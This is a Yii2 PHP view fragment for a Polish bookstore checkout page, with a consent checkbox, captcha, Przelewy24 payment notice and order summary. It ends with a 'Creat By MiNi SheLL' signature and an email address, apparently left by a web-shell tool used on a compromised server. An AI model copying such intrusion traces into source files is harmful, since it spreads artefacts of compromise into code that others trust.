                        <?= Html::checkbox('BookstoreOrderForm[accept_rules]', $modelForm->accept_rules ? true : false, ['id' => 'bookstoreorderform-accept_rules', 'class' => 'check']) ?>
                        <label for="bookstoreorderform-accept_rules"></label>
                    </div>
                    <div class="col-sm-9">
                        <small>
                            Akceptuję treść <a href="<?= Yii::$app->params['frontendBaseUrl'].'/attachments/'; ?>Portale_Vertica_Regulamin.pdf" target="_blank"><strong>regulaminu</strong></a> oraz <a href="<?= Yii::$app->params['frontendBaseUrl'].'/attachments/'; ?>Portale_Vertica_Polityka_Prywatnosci.pdf" target="_blank"><strong>polityki prywatności</strong></a> serwisu www.<?= Yii::$app->params['modelPortal']->getAttribute('domain'); ?>.
                            Wyrażam zgodę na otrzymywanie informacji i ofert z portalu <strong>www.<?= Yii::$app->params['modelPortal']->getAttribute('domain'); ?></strong> oraz na przetwarzanie moich danych osobowych (zgodnie z Ustawą o ochronie danych osobowych z dn. 29.08.1997 Dz. U.Nr 133/97, poz.883)
                        </small>
                        <?= Html::error($modelForm, 'accept_rules', ['tag' => 'p', 'class' => 'help-block help-block-error']); ?>
                    </div>
                <?= $form->field($modelForm, 'accept_rules')->end(); ?>
                
                <?= $form->field($modelForm, 'captcha', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-9\">{input}\n{error}</div>\n{hint}",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-2 control-label required'],
                ])->widget(Captcha::className(), [
                    'captchaAction' => 'ksiegarniakoszyk/captcha',
                    'template' => '<div class="row"><div class="col-sm-4 captcha-img-container">{image}<div class="captcha-img-refresh"></div></div><div class="col-sm-8">{input}</div></div>'
                ]); ?>
            </div>
                
            <h4><b style="font-weight: 800 !important;">Metoda płatności</b></h4>
            <p>
                <img src="<?= Yii::$app->params['frontendBaseUrl'].'/images/payu/'; ?>przelewy24.png" alt="przelewy24" style="width: 150px; float: left; margin-right: 10px;"> 
                Płatności obsługuje platforma Przelewy24.<br>
                Po złożeniu zamówienia zostaniesz przekierowana/y na stronę Przelewy24, gdzie wybierzesz sposób płatności (przelew elektroniczny, BLIK, przelew tradycyjny).
            </p>   
            
            <div class="clearfix"></div>
        </div>         
            
        <div class="col-md-3 pt08 tab-right stick">
            <h2 class="header portal-color portal-light-background">
                <span class="portal-border"><?= Yii::t('frontend', 'Podsumowanie') ?></span>
            </h2>  
            
            <div class="v-form v-book-info full">
                <div class="block text-right mt1">
                    <?php
                        $amountParts = explode('.', number_format($totalAmount, 2, '.', ''));
                    ?>
                    <p class="nomargin block text-left">Wartość przedmiotów<span class="pull-right" id="przedmioty" data-amount="<?= $totalAmount ?>"><?= $amountParts[0] ?>,<?= $amountParts[1] ?> zł</span></p>
                    <p class="nomargin block text-left">Dostawa<span class="pull-right" id="dostawa">0,00 zł</span></p>
                    <hr>
                    <small>DO ZAPŁATY</small>
                    <var class="nomargin nowrap inline"><big style="font-size:25px;" id="zloty"><?= $amountParts[0] ?></big>,<span id="groszy"><?= $amountParts[1] ?></span> zł</var>
                </div>
                <?= Html::submitButton('KUPUJĘ i PŁACĘ', ['class' => 'btn btn-orange form-control mt1 mb1']) ?>
                <small>Klikając w ten przycisk potwierdzasz zakup i akceptujesz <a href="<?= Yii::$app->params['frontendBaseUrl'].'/attachments/'; ?>Portale_Vertica_Regulamin.pdf" target="_blank" rel="nofollow noopener noreferrer"><strong>regulamin</strong></a>.</small>
            </div>  
        </div> 
        
        <?php ActiveForm::end(); ?>
    </div>
</div>

Creat By MiNi SheLL
Email: jattceo@gmail.com